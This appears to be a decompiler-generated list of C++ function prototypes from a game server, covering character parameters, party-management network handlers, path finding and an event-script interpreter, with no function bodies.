unsigned int __thiscall Parameter::Container::IsNoAttack(int this); void __thiscall ShineCommonParameter::ShineCommonParameter(ShineCommonParameter *this); signed __int16 __cdecl ShineObjectClass::ShineObject::so_IsInWeapon(); int __thiscall ShineObjectClass::ShinePlayer::so_IsInWeapon(int this); UpGradeInfo *__thiscall UpgradeDataBox::operator__(UpgradeDataBox *this, unsigned __int16 sub); void __thiscall Parameter::Cluster::operator__(Parameter::Cluster *this, Parameter::Cluster *c); void __thiscall Parameter::Cluster::operator__(Parameter::Cluster *this, Parameter::Cluster *c); void __thiscall Parameter::Cluster::c_compareelement(Parameter::Cluster *this, unsigned int curr, unsigned int last, int flag, PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *changepacket); int __thiscall Parameter::Cluster::c_compare(Parameter::Cluster *this, Parameter::Cluster *last, PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *changepacket); void __thiscall Parameter::Container::c_MakeTotal(void *c); void __thiscall ShineCommonParameter::scp_Load(ShineCommonParameter *this, Name4 *world); // void __usercall FillRandomOption(ItemInventoryCell *itemcell, ItemDataBox::ItemDataBoxIndex *itemdata, int *itemstat); void __thiscall ShineObjectClass::ShinePlayer::so_RecalcEquipParam(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_RecalcPassiveParam(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_RecalcLastParam(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_ParameterView(void *this, int param); void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcAbstateParam(void *this); void __thiscall WorldManagerSession::wms_NC_PARTY_DISMISS_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_LOGIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); #325 *__thiscall PartyManufacture::pm_FindMember(PartyManufacture *this, unsigned __int16 partyregnum, unsigned __int16 sub); void __thiscall PartyManufacture::pm_Break(PartyManufacture *this, unsigned __int16 party); void __thiscall PartyManufacture::pm_HandleSet(PartyManufacture *this, unsigned __int16 partyregnum, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *zmember); void __thiscall PartyManufacture::pm_MemberLeave(PartyManufacture *this, unsigned __int16 partyregnum, unsigned int chrregnum); void __thiscall PartyManufacture::pm_NewMemberJoin(PartyManufacture *this, unsigned __int16 partyregnum); void __thiscall PartyManufacture::pm_Sendmemberinfo(PartyManufacture *this, unsigned __int16 party); void __thiscall PartyManufacture::pm_QuestCheck(PartyManufacture *this, void (__thiscall *qf)(ShineQuestDiary *this, #325 *, #325 *, MobDataBox::MobDataBoxIndex *), #325 *player, #325 *mobobj, MobDataBox::MobDataBoxIndex *mobinf); unsigned __int16 __thiscall PartyManufacture::pm_FindParty(PartyManufacture *this, unsigned int chrregnum); void __thiscall PartyManufacture::pm_Broadcast(PartyManufacture *this, #434 *, CParty::PARTY_SLOT *, ProtocolPacket *, int); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo(void *this, int a2); void __thiscall WorldManagerSession::wms_PartyMemberRefresh(WorldManagerSession *this, CParty::PARTY_SLOT *ps, PROTO_NC_PARTY_MEMBERINFORM_ACK *ack); void __thiscall ShineObjectClass::ShinePlayer::sp_LogoutDuringParty(void *this); void __thiscall WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall PROTO_PARTY_MEMBER::PROTO_PARTY_MEMBER(PROTO_PARTY_MEMBER *this); void __thiscall PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::PROTO_PARTY_MEMBER_AND_ZONEMERCHINE(PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *this); void __thiscall WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_PartyInformInit(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_PartyInformInit(int this); void __thiscall WorldManagerSession::wms_NC_PARTY_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_PARTY_LEAVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); unsigned __int16 __thiscall PathFindCell::pfc_Getdistance(PathFindCell *this, unsigned int flag); PathFindCell *__thiscall PathFindTable::operator__(PathFindTable *this, int x, int y); void __thiscall LinearStep::ls_step(LinearStep *this, int step, int *x, int *y); Tracer *__thiscall LinearStep::ls_Set(LinearStep *this, int fx, int fy, int tx, int ty); void __thiscall PathFindTable::PathFindTable(PathFindTable *this); void __thiscall PathFindTable::_PathFindTable(PathFindTable *this); void __thiscall Tracer::_Tracer(LinearStep *this); void __thiscall LinearStep::LinearStep(LinearStep *this); char __thiscall List::l_PushZ(List *this, HitMeList::Enemy *ele); char __thiscall List::l_PopZ(List *this, HitMeList::Enemy *ele); void *__thiscall Tracer::_vector_deleting_destructor_(Tracer *this, unsigned int); void *__thiscall LinearStep::_scalar_deleting_destructor_(LinearStep *this, unsigned int); char __thiscall LinearStep::t_continue(LinearStep *this, PathFindArgumentStruct *pfas, PathFindCellLoc *lastloc, int mindist); void __thiscall CellStack::_CellStack(CellStack *this); void __thiscall CellStack::cs_push(CellStack *this, PathFindArgumentStruct *pfas, int fx, int fy, int x, int y, unsigned __int16 dist); char __thiscall CellStack::t_continue(CellStack *this, PathFindArgumentStruct *pfas, PathFindCellLoc *lastloc, int mindist); char __thiscall MinWeightSearching::lid_Call(MinWeightSearching *this, CellStack::CellStackElement *ele, unsigned __int16 handle); Tracer *__thiscall CellStack::t_trace(CellStack *this, PathFindArgumentStruct *pfas); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_Clear(List *this); Tracer *__thiscall CellStack::cs_Set(CellStack *this, PathFindArgumentStruct *pfas, int x, int y, unsigned __int16 dist); Tracer *__thiscall LinearStep::t_trace(LinearStep *this, PathFindArgumentStruct *pfas); void *__thiscall CellStack::_vector_deleting_destructor_(CellStack *this, unsigned int); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall CellStack::CellStack(CellStack *this); void __thiscall JunctionPointContainer::JunctionPointContainer(JunctionPointContainer *this); void __thiscall PerformanceChecker::PerformanceChecker(PerformanceChecker *this); long double __thiscall PerformanceChecker::pc_loopPERsecond(PerformanceChecker *this); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void __thiscall PROTOCOLFUNCTIONTEMPLETE::pft_Store(PROTOCOLFUNCTIONTEMPLETE *this, int depart, int command, void (__thiscall *pnt)(GameDBSession *this, NETCOMMAND *, int)); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this); void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int); void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf); void __thiscall std::locale::facet::_Incref(std::locale::facet *this); std::locale::facet *__thiscall std::locale::facet::_Decref(std::locale::facet *this); void __thiscall std::locale::_locale(std::locale *this); void *__thiscall std::locale::facet::_scalar_deleting_destructor_(std::locale::facet *this, unsigned int); void __thiscall std::codecvt_base::_codecvt_base(std::num_get > > *this); std::locale *__thiscall std::ios_base::getloc(std::ios_base *this, std::locale *result); void *__thiscall std::ios_base::_vector_deleting_destructor_(std::ios_base *this, unsigned int); unsigned __int16 __cdecl ps_assert(unsigned __int16 condition, const char *message, const char *flag); PineScriptToken *__thiscall PineScriptToken::pst_ToLower(PineScriptToken *this); void __thiscall PineScriptToken::PineScriptToken(PineScriptToken *this, char *name); void __thiscall PineScriptToken::PineScriptToken(PineScriptToken *this, int number); PineScriptToken *__thiscall PineScriptToken::pst_Clear(PineScriptToken *this); unsigned __int16 __thiscall PineScriptToken::pst_RemoveQuatator(PineScriptToken *this); int __thiscall PineScriptToken::pst_GetNumber(PineScriptToken *this, unsigned __int16 cut); char __thiscall PineScriptToken::pst_GetChar(PineScriptToken *this, int num); void __thiscall PineScriptToken::pst_SetChar(PineScriptToken *this, int num, int chr); PineScriptToken *__thiscall PineScriptToken::pst_Merge(PineScriptToken *this, PineScriptToken *sst); unsigned __int16 __thiscall PineScriptToken::operator__(PineScriptToken *this, char *str); unsigned __int16 __thiscall PineScriptToken::operator__(PineScriptToken *this, char *str); void __thiscall PineEventScriptNode::CalculateOperator::_CalculateOperator(PineEventScriptNode::CompareOperator *this); void __thiscall PineEventScriptNode::SysFuncRand::SysFuncRand(PineEventScriptNode::SysFuncRand *this); void __thiscall PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen(PineEventScriptNode::SysFuncShineGetLoseGuild *this); void __thiscall PineEventScriptNode::SysFuncSQRT::SysFuncSQRT(PineEventScriptNode::SysFuncSQRT *this); void __thiscall PineEventScriptNode::SysFuncDistance::SysFuncDistance(PineEventScriptNode::SysFuncDistance *this); void __thiscall PineEventScriptNode::SysFuncShineMobRegen::SysFuncShineMobRegen(PineEventScriptNode::SysFuncShineMobRegen *this); void __thiscall PineEventScriptNode::SysFuncShineDoorBuild::SysFuncShineDoorBuild(PineEventScriptNode::SysFuncShineDoorBuild *this); void __thiscall PineEventScriptNode::SysFuncShineNPCStand::SysFuncShineNPCStand(PineEventScriptNode::SysFuncShineNPCStand *this); void __thiscall PineEventScriptNode::SysFuncShineChange2Mob::SysFuncShineChange2Mob(PineEventScriptNode::SysFuncShineChange2Mob *this); void __thiscall PineEventScriptNode::SysFuncShineChange2Door::SysFuncShineChange2Door(PineEventScriptNode::SysFuncShineChange2Door *this); void __thiscall PineEventScriptNode::SysFuncShineChange2NPC::SysFuncShineChange2NPC(PineEventScriptNode::SysFuncShineChange2NPC *this); void __thiscall PineEventScriptNode::SysFuncShineCount::SysFuncShineCount(PineEventScriptNode::SysFuncShineCount *this); void __thiscall PineEventScriptNode::SysFuncShineRestSecond::SysFuncShineRestSecond(PineEventScriptNode::SysFuncShineRestSecond *this); void __thiscall PineEventScriptNode::SysFuncShineCharClass::SysFuncShineCharClass(PineEventScriptNode::SysFuncShineCharClass *this); void __thiscall PineEventScriptNode::SysFuncShineCharName::SysFuncShineCharName(PineEventScriptNode::SysFuncShineCharName *this); void __thiscall PineEventScriptNode::SysFuncShineDeadNumber::SysFuncShineDeadNumber(PineEventScriptNode::SysFuncShineDeadNumber *this); void __thiscall PineEventScriptNode::SysFuncShineCircularScatter::SysFuncShineCircularScatter(PineEventScriptNode::SysFuncShineCircularScatter *this); void __thiscall PineEventScriptNode::SysFuncShineRemoveFisrt::SysFuncShineRemoveFisrt(PineEventScriptNode::SysFuncShineRemoveFisrt *this); void __thiscall PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShineGetObjectList(PineEventScriptNode::SysFuncShineGetObjectList *this); void __thiscall PineEventScriptNode::SysFuncShineKQResultList::SysFuncShineKQResultList(PineEventScriptNode::SysFuncShineKQResultList *this); void __thiscall PineEventScriptNode::SysFuncShineKQTop::SysFuncShineKQTop(PineEventScriptNode::SysFuncShineKQTop *this); void __thiscall PineEventScriptNode::SysFuncShineDistance::SysFuncShineDistance(PineEventScriptNode::SysFuncShineDistance *this); void __thiscall PineEventScriptNode::SysFuncShinePlayerInArea::SysFuncShinePlayerInArea(PineEventScriptNode::SysFuncShinePlayerInArea *this); void __thiscall PineEventScriptNode::SysFuncShineRange::SysFuncShineRange(PineEventScriptNode::SysFuncShineRange *this); void __thiscall PineEventScriptNode::SysFuncShineIsGateUse::SysFuncShineIsGateUse(PineEventScriptNode::SysFuncShineIsGateUse *this); void __thiscall PineEventScriptNode::SysFuncShineGetWinnerGuild::SysFuncShineGetWinnerGuild(PineEventScriptNode::SysFuncShineGetWinnerGuild *this); void __thiscall PineEventScriptNode::SysFuncShineGetLoseGuild::SysFuncShineGetLoseGuild(PineEventScriptNode::SysFuncShineGetLoseGuild *this); PineScriptToken *__thiscall PineEventScriptNode::ArgumentList::al_GetArgument(PineEventScriptNode::ArgumentList *this, unsigned int sub, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::SysFuncBase::sfb_Calculate(PineEventScriptNode::SysFuncBase *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __thiscall PineEventScriptNode::Identify::Identify(PineEventScriptNode::Identify *this); void __thiscall PineEventScriptNode::Statement::Statement(PineEventScriptNode::Statement *this); void __thiscall PineEventScriptNode::Statement::_Statement(PineEventScriptNode::Statement *this); void __thiscall PineEventScriptNode::BlockName::_BlockName(PineEventScriptNode::BlockName *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateBreak::sb_CloneMe(PineEventScriptNode::StateBreak *this); unsigned __int16 __thiscall PineEventScriptNode::ScriptAtom::sa_Step(PineEventScriptNode::ScriptAtom *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::Condition::sa_Load(PineEventScriptNode::Condition *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::ScriptAtom::sa_BlockNameCheck(CQuest *this, unsigned __int16 nItemID); unsigned __int16 __thiscall PineEventScriptNode::Block::sa_BlockNameCheck(PineEventScriptNode::Block *this, PineScriptToken *exitblock); PineScriptToken *__thiscall PineEventScriptNode::Identify::sa_Calculate(PineEventScriptNode::Identify *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::SystemFunction::sa_Calculate(PineEventScriptNode::SystemFunction *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::Number::sa_Calculate(PineEventScriptNode::String *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); int __thiscall PineScriptReader::CharacterReader::cr_GetCh(PineScriptReader::CharacterReader *this); void __thiscall PineScriptReader::CharacterReader::cr_SkipSpace(PineScriptReader::CharacterReader *this); void __thiscall PineScriptReader::TokenReader::_TokenReader(PineScriptReader::TokenReader *this); PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadString(PineScriptReader::TokenReader *this, PineScriptToken *tkn); unsigned __int16 __thiscall PineScriptReader::TokenReader::tr_isAlNum(PineScriptReader::TokenReader *this, int ch); unsigned __int16 __thiscall PineScriptReader::TokenReader::tr_IsOper(PineScriptReader::TokenReader *this, int ch); unsigned __int16 __thiscall PineEventScriptNode::StatementList::sl_AddStatement(PineEventScriptNode::StatementList *this, PineEventScriptNode::StatementBase *sb); void __thiscall PineScriptStack::VariableStack::VarArray::VarArray(PineScriptStack::VariableStack::VarArray *this); PineScriptToken *__thiscall PineScriptStack::VariableStack::vs_FindVariable(PineScriptStack::VariableStack *this, PineScriptToken *varname); PineScriptToken *__thiscall PineScriptStack::VariableStack::vs_Push(PineScriptStack::VariableStack *this, PineScriptToken *varname); void __thiscall PineScriptStack::ProcessStack::_ProcessStack(PineScriptStack::ProcessStack *this); void __thiscall PineScriptStack::ProcessStack::ps_Ready(PineScriptStack::ProcessStack *this, PineEventScriptNode::Script *script); unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Step(PineScriptStack::ProcessStack *this, int handle); PineScriptToken *__thiscall PineScriptStack::ProcessStack::ps_PushVariable(PineScriptStack::ProcessStack *this, PineScriptToken *varname); unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Push(PineScriptStack::ProcessStack *this, PineEventScriptNode::ScriptAtom *script); unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Pop(PineScriptStack::ProcessStack *this); unsigned __int16 __thiscall PineEventScript::pes_Load(PineEventScript *this, char *fname, int *errline); void __thiscall PineEventScriptNode::AutoRegList::AutoRegList(PineEventScriptNode::AutoRegList *this, PineEventScriptNode::StatementBase *pScript); void __thiscall std::basic_ios>::_basic_ios>(std::basic_ios > *this); void __thiscall std::basic_istream>::_basic_istream>(std::basic_istream > *this); void __thiscall std::basic_iostream>::_basic_iostream>(std::basic_iostream > *this); void *__thiscall std::basic_ios>::_scalar_deleting_destructor_(std::basic_ios > *this, unsigned int); void __thiscall std::basic_stringbuf_std::allocator>::_Tidy(std::basic_stringbuf,std::allocator > *this); void __thiscall std::basic_streambuf>::_Init(std::basic_streambuf > *this); void __thiscall std::basic_ostream>::_Sentry_base::__Sentry_base(std::basic_istream >::sentry *this); char __thiscall List::l_PushZ(List *this, PineEventScriptNode::Statement *ele); char __thiscall List::l_PopA(List *this, PineEventScriptNode::Statement *ele); char __thiscall List::l_PopZ(List *this, PineEventScriptNode::Statement *ele); CardDeck::Card *__thiscall List::l_GetInList(List *this, unsigned __int16 order, unsigned __int16 *handle); ORTable *__thiscall List::l_AllocA(List *this, unsigned __int16 hnd); void __thiscall std::ctype::ctype(std::ctype *this, const __int16 *_Table, bool _Deletetable, unsigned int _Refs); char __thiscall std::ctype::do_tolower(std::ctype *this, char _Ch); const char *__thiscall std::ctype::do_tolower(std::ctype *this, char *_First, const char *_Last); char __thiscall std::ctype::do_toupper(std::ctype *this, char _Ch); const char *__thiscall std::ctype::do_toupper(std::ctype *this, char *_First, const char *_Last); char __thiscall std::ctype::do_widen(std::ctype *this, char _Byte); const char *__thiscall std::ctype::do_widen(std::ctype *this, const char *_First, const char *_Last, char *_Dest); char __thiscall std::ctype::do_narrow(std::ctype *this, char _Ch, char __formal); const char *__thiscall std::ctype::do_narrow(std::ctype *this, const char *_First, const char *_Last, char __formal, char *_Dest); unsigned int __cdecl std::ctype::_Getcat(std::locale::facet **_Ppf); void *__thiscall std::ctype::_vector_deleting_destructor_(std::ctype *this, unsigned int); void __thiscall std::ctype::_ctype(std::ctype *this); PineScriptToken *__thiscall PineScriptToken::pst_MergeString(PineScriptToken *this, char *str); PineScriptToken *__thiscall PineScriptToken::pst_MergeNumber(PineScriptToken *this, int num); PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst); PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst); PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst); PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst); PineScriptToken *__thiscall PineEventScriptNode::SysFuncRand::sfb_Calculate(PineEventScriptNode::SysFuncRand *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncSQRT::sfb_Calculate(PineEventScriptNode::SysFuncSQRT *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncDistance::sfb_Calculate(PineEventScriptNode::SysFuncDistance *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __thiscall PineEventScriptNode::SystemFunction::SystemFunction(PineEventScriptNode::SystemFunction *this); void __thiscall PineEventScriptNode::Term::_Term(PineEventScriptNode::Term *this); void __thiscall PineEventScriptNode::Express::Express(PineEventScriptNode::Express *this); void __thiscall PineEventScriptNode::Express::_Express(PineEventScriptNode::Express *this); void __thiscall PineEventScriptNode::Condition::Condition(PineEventScriptNode::Condition *this); void __thiscall PineEventScriptNode::Condition::_Condition(PineEventScriptNode::Condition *this); void __thiscall PineEventScriptNode::StateIf::StateIf(PineEventScriptNode::StateIf *this); PineEventScriptNode::Block *__thiscall PineEventScriptNode::Script::sa_FindBlock(PineEventScriptNode::Script *this, PineScriptToken *blkname); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateIf::sb_CloneMe(PineEventScriptNode::StateIf *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateCall::sb_CloneMe(PineEventScriptNode::StateCall *this); unsigned __int16 __thiscall PineEventScriptNode::Script::sa_Step(PineEventScriptNode::Script *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::Block::sa_Step(PineEventScriptNode::Block *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::Statement::sa_Step(PineEventScriptNode::Statement *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StateInfinite::sa_Step(PineEventScriptNode::StateInfinite *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StateWhile::sa_Step(PineEventScriptNode::StateWhile *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StateIf::sa_Step(PineEventScriptNode::StateIf *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StatePrint::sa_Step(PineEventScriptNode::StatePrint *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::Express::sa_Load(PineEventScriptNode::Express *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Statement::sa_Load(PineEventScriptNode::Statement *this, PineScriptReader::TokenReader *tr); PineScriptToken *__thiscall PineEventScriptNode::Express::sa_Calculate(PineEventScriptNode::Express *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::Condition::sa_Calculate(PineEventScriptNode::Condition *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadNumber(PineScriptReader::TokenReader *this, PineScriptToken *tkn); PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadIdent(PineScriptReader::TokenReader *this, PineScriptToken *tkn); void __thiscall PineEventScriptNode::StatementList::_StatementList(PineEventScriptNode::StatementList *this); void __thiscall PineScriptStack::ProcessStack::ProcessStack(PineScriptStack::ProcessStack *this); unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_ExitBlock(PineScriptStack::ProcessStack *this, PineScriptToken *exitblock); PineScriptToken *__thiscall PineScriptStack::ProcessStack::ps_FindVariable(PineScriptStack::ProcessStack *this, PineScriptToken *varname); void __thiscall std::basic_streambuf>::_basic_streambuf>(std::basic_streambuf > *this); int __thiscall ShineObjectClass::ShineObject::so_smo_CrossCounterDamage(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm); int __thiscall std::basic_streambuf>::underflow(std::basic_streambuf > *this); int __thiscall std::basic_streambuf>::uflow(std::basic_streambuf > *this); char *__thiscall std::basic_streambuf>::_Gninc(std::basic_streambuf > *this); int __thiscall std::basic_streambuf>::xsgetn(std::basic_streambuf > *this, char *_Ptr, int _Count); int __thiscall std::basic_streambuf>::xsputn(std::basic_streambuf > *this, const char *_Ptr, int _Count); std::fpos *__thiscall std::basic_streambuf>::seekoff(std::basic_streambuf > *this, std::fpos *result, int __formal, int __formal, int __formal); std::fpos *__thiscall std::basic_streambuf>::seekpos(std::basic_streambuf > *this, std::fpos *result, std::fpos __formal, int __formal); void __thiscall std::basic_stringbuf_std::allocator>::_basic_stringbuf_std::allocator>(std::basic_stringbuf,std::allocator > *this); int __thiscall std::basic_stringbuf_std::allocator>::pbackfail(std::basic_stringbuf,std::allocator > *this, int _Meta); int __thiscall std::basic_stringbuf_std::allocator>::underflow(std::basic_stringbuf,std::allocator > *this); std::fpos *__thiscall std::basic_stringbuf_std::allocator>::seekoff(std::basic_stringbuf,std::allocator > *this, std::fpos *result, int _Off, int _Way, int _Which); std::fpos *__thiscall std::basic_stringbuf_std::allocator>::seekpos(std::basic_stringbuf,std::allocator > *this, std::fpos *result, std::fpos _Ptr, int _Mode); void *__thiscall std::basic_ostream>::_vector_deleting_destructor_(std::basic_ios > *this, char a2); void *__thiscall std::basic_istream>::_vector_deleting_destructor_(std::basic_ios > *this, char a2); void *__thiscall std::basic_streambuf>::_vector_deleting_destructor_(std::basic_streambuf > *this, unsigned int); void *__thiscall std::basic_iostream>::_vector_deleting_destructor_(std::basic_iostream > *this, char a2); void *__thiscall std::basic_stringbuf_std::allocator>::_vector_deleting_destructor_(std::basic_stringbuf,std::allocator > *this, unsigned int); void __thiscall std::basic_streambuf>::basic_streambuf>(std::basic_streambuf > *this); void __thiscall std::basic_stringbuf_std::allocator>::_Init(std::basic_stringbuf,std::allocator > *this, const char *_Ptr, unsigned int _Count, int _State); std::ctype *__cdecl std::use_facet>(std::locale *_Loc); char __thiscall List::l_Enlargement(List *this, int extsize); char __thiscall List::l_PushA(List *this, PineEventScriptNode::Statement *ele); void __thiscall std::num_put>>::num_put>>(std::num_put > > *this, unsigned int _Refs); void *__thiscall std::codecvt::_vector_deleting_destructor_(std::num_get > > *this, unsigned int); void __thiscall PineEventScriptNode::StatementBaseExpress::StatementBaseExpress(PineEventScriptNode::StatementBaseExpress *this, char *command); PineScriptToken *__thiscall PineEventScriptNode::Identify::i_GetToken(PineEventScriptNode::Identify *this, PineScriptToken *varname, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::Identify::i_GetVariable(PineEventScriptNode::Identify *this, PineScriptStack::ProcessStack *ps); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StatePrint::sb_CloneMe(PineEventScriptNode::StatePrint *this); unsigned __int16 __thiscall PineEventScriptNode::StateVarDeclear::sa_Step(PineEventScriptNode::StateVarDeclear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StateBreak::sa_Step(PineEventScriptNode::StateBreak *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StateCall::sa_Step(PineEventScriptNode::StateCall *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); PineScriptToken *__thiscall PineEventScriptNode::Id::sa_Calculate(PineEventScriptNode::Id *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::Term::sa_Calculate(PineEventScriptNode::Term *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_GetToken(PineScriptReader::TokenReader *this, PineScriptToken *tkn); std::basic_ostream > *__thiscall std::basic_ostream>::flush(std::basic_ostream > *this); void __thiscall std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>(std::basic_stringstream,std::allocator > *this); int __thiscall std::basic_stringbuf_std::allocator>::overflow(std::basic_stringbuf,std::allocator > *this, int _Meta); void __thiscall std::basic_stringbuf_std::allocator>::basic_stringbuf_std::allocator>(std::basic_stringbuf,std::allocator > *this, int _Mode); void __thiscall std::basic_ostream>::sentry::sentry(std::basic_ostream >::sentry *this, std::basic_ostream > *_Ostr); char __thiscall std::basic_ios>::widen(std::basic_ios > *this, char _Byte); char __thiscall List::l_PushA(List *this, PineEventScriptNode::Block *ele); char __thiscall List::l_PushZ(List *this, PineEventScriptNode::Block *ele); char __thiscall List::l_PopA(List *this, PineEventScriptNode::Block *ele); char __thiscall List::l_PopZ(List *this, PineEventScriptNode::Block *ele); 